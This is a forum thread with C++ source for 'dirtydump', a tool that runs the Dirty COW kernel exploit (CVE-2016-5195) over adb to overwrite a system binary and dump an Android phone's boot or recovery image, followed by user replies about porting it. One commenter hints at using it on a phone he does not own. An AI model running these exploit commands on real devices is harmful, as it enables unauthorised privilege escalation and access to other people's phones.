cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process32 /data/local/tmp/recowvery-app_process32";
for(auto s : cmdlist)
{
cout << s << endl;
if (runcmd(s) != 0)
return -1;
}
return 0;
}
/**
* reboot device from adb
**/
int rebootDevice()
{
cout << "************************" << endl;
cout << "**** Reboot Device *****" << endl;
cout << "************************" << endl << endl;
return runcmd(string("adb reboot"));
}
/**
* Function that do the stuff
* If a line contain *** DUMP START *** it start to get all hex value in HEXDUMP = [a1,e2,b4,ect.] and convert to binary before writing to output file.
* All other line are :
* <*** DUMP ERROR ***> : Error during the process, or your device is disconnected, no more battery...
* <*** DUMP END ***> : Dumping is end / end of process.
* <Other lines> : Displayed
**/
int displayLogAndConvertData(string line)
{
/**
* If an unexpected EOF from recowvery-applypatch or if no <pipe>...
* We can't receive a null string, so break the loop, close fsout, and exit the program.
**/
if (line.empty())
{
cout << string("* < null > received !") << endl;
cout << string("Try again...") << endl;
return -1;
}
/**
* *** DUMP START ***
* set startwrite = true to write parsed data to fsout
**/
if (regex_match(line, rs))
{
startwrite = true;
cout << "Start writing to file..." << endl;
}
/**
* Parse all string received if match
* Note :
* It's possible to have matched string before intercept DUMP START,
* If we convert now, it's a good idea to have a broken output file.
**/
if (startwrite && regex_match(line, rl))
{
string s = regex_replace(line, rl, "$1");
vector<string> data = split(s, ',');
for (int c = 0; c < (int)data.size(); c++)
{
try
{
byte *b = NULL;
int sb;
string_to_bytearray(data[c], b, sb);
fwrite(b, 1, sb, fsout);
}
catch (const exception &ex)
{
cout << endl;
cout << string("** Exception **") << endl;
cout << string(" - When convert : ") << data[c] << endl;
cout << string(" - Message : ") << ex.what() << endl;
}
}
nBlock++;
currentSize = nBlock * 32;
cout << "\r";
cout << "Block read : " << nBlock << " (Size : " << currentSize << ")";
}
/**
* Display the other lines (for debuging, logging...)
**/
else if (!regex_match(line, rl) && (!regex_match(line, rf) && !startwrite) && line.length() > 1)
{
cout << line;
}
/**
* *** DUMP END ***
* Flush and close fsout, inform the user, and break the loop.
**/
if (startwrite && regex_match(line, rf))
{
cout << endl << "Finish" << endl;
startwrite = false;
return 1;
}
/**
* *** DUMP ERROR ***
* An error intercepted from ADB, close fsout, set start to false.
* < applypatch > will restart every 3 min.
* We break the loop after 3 errors.
**/
if (regex_match(line, re))
{
cout << std::string("* Error received from ADB *") << std::endl;
startwrite = false;
if (ncrash == 3)
{
cout << std::string("* Too many tries, please check your < recowvery-applypatch.c > and try again.") << std::endl;
return -1;
}
cout << std::string("* Be patient, recowvery-applypatch will restart in a few minutes.") << std::endl;
ncrash++;
}
return 0;
}
/**
* run <adb logcat -s recowvery> and send line by line to <displayLogAndConvertData> function
**/
int readFromLogcat()
{
cout << "*********************************" << endl;
cout << "**** adb logcat -s recowvery ****" << endl;
cout << "*********************************" << endl << endl;
char buff[1024];
int prc = 0;
FILE *fc = popen("adb logcat -s recowvery", "r");
if (fc)
{
while(fgets(buff, sizeof buff, fc) != NULL)
{
prc = displayLogAndConvertData(string(buff));
// Error occuring
if (prc == -1)
{
cerr << "Error during the process !" << endl;
break;
}
// Process finished
if (prc == 1)
break;
}
/*
* When finish or an error received from adb, <startwrite> is set to false.
* If set to true, a NULL string has been received before receiving a DUMP_END or DUMP_ERROR.
* So, so we display an error.
*/
if (startwrite)
{
cerr << "Error during the process !" << endl;
prc = errno;
}
fclose(fc);
}
else
{
cerr << "Error running <adb logcat -s recowvery" << endl;
}
return prc;
}
/** main **/
int main(int argc, char** argv)
{
int ret = 0;
string filename;
if (argc == 1)
{
help();
return ret;
}
/* Fix for windows
* If run in same directory as the exe, return only the exe name without folder where it run.
* So, if DIRECTORY_SEPARATOR not found in argv_str, appDirectory = "." for linux, mac and windows
*/
string argv_str(argv[0]);
if (argv_str.find_last_of(DIRECTORY_SEPARATOR) != string::npos)
appDirectory = argv_str.substr(0, argv_str.find_last_of(DIRECTORY_SEPARATOR));
else
appDirectory = string(".");
ret = init();
if (ret != 0)
return ret;
if (string(argv[1]) == "boot")
{
ret = runExploit(BOOT);
filename = "boot.img";
}
else
{
ret = runExploit(RECOVERY);
filename = "recovery.img";
}
if (ret != 0)
return ret;
else
{
fsout = fopen(filename.c_str(), "wb");
if (!fsout)
{
cerr << "Can't open or create file : <" << string(filename) << ">" << endl;
rebootDevice();
return errno;
}
else
{
ret = readFromLogcat();
fclose(fsout);
}
cout << endl;
cout << "Image file saved here :" << endl;
cout << " " << appDirectory << string(DIRECTORY_SEPARATOR) << string(filename) << endl;
cout << endl;
}
cout << "Rebooting your device..." << endl;
ret = rebootDevice();
return ret;
}
Note :
There is only linux binary, the windows version come soon.
(I don't know why Windows don't work as expected :x)
If you are interested by the source code, I can attach it.
Tested and build from Ubuntu 16.04 (x64) / Code::Blocks & gedit.
If any bug, I will do the best to solve this.
So sorry for my english, or any misspelling :x
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
please make compatible for 32 bit device
Hi,
Normaly, it may work for 32bit device, but can't test it :/
Can you give me error log, text displayed on your terminal please ?
And if possible, what do you have when you do : "adb shell uname -a" ? (because I detect 32 or 64bits device by this)
Regards,
Vincent
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
The boss Appear.What a pleasant thing it is.
China user
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
Hi and sorry for the time to answer...
I've added the source code at the end of the first post
The Hard Gamer said:
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
Click to expand...
Click to collapse
Hai Bro,what command you issue in linux to run ?
Thks
Hmm this is awesome except the part it doesn't work on Ubuntu 14.04 and source code need gcc-4.9 to build (not sure).
Anyway I will install Ubuntu 16.04 to make new things to LG K4 (2016) [MTK MT6735m], good job thanks for it
@Vince_02100 what compilers did you used to applypatch and app_process64?
I need to compile a version to armv7(aka 32), since my current device (the LG K4) have a x32 Android and a x64 CPU.
I'm improving your dirtydump but with limitations since I don't know much about C/C++.
Please reply or PM me, anyway I will try my best to make it x32 support
@Vince_02100
My question is, did you base the operation of your tool on the dirtycow exploit? Seems like it because of its name and reference to jcadduono.
This is actually awesome then because I have a tool very similar only it works as a shell command handler. The Greyhat Root Console essentially is it's own Terminal Interface specifically to use dirtycow for root shell commands.
I only bring that up because Stock OEM builds that are dated October 2016 or later pretty much can't utilize CVE-2016-5195. Some didn't get patched that soon but most did. The rule of thumb I've always had when working with Dirtycow is to use stock builds from September 2016. Since they are the most up to date builds still vulnerable. I don't know how many people reading this thread know that.
Here is the thread I made where @droidvoider explains how to use the Greyhat Root Console: https://forum.xda-developers.com/android/help/injecting-root-setting-selinux-stages-t3573036
The thread also details our journey into modifying the Device SEPolicy using the console in order to elevate our normal user privileges. We have the instructions to build the Console for both 32-Bit and 64-Bit Builds of Android 5.1.1 & 6.0.1
I think the source code and our thread may just give you some good insight going forward with your tool, even though The Greyhat Root Console was developed on an AT&T Galaxy Note 5. That thread is a gold mine for dirtycow information.
Thanks for your great tool and explanation @Vince_02100. I'm researching to dump boot, recovery for Onkyo DP-CMX1 to make custom TWRP. I have some stupid questions and need your help like following:
1. Tool will not break system partition and it can boot normally after dumping recovery, boot?
2. I don't have root so how can I copy dumped files: ./boot.img , ./recovery.img to /sdcard or to computer? Do I edit your code
fp = fopen(blockDev, "r"); to make it write to /sdcard/boot.img?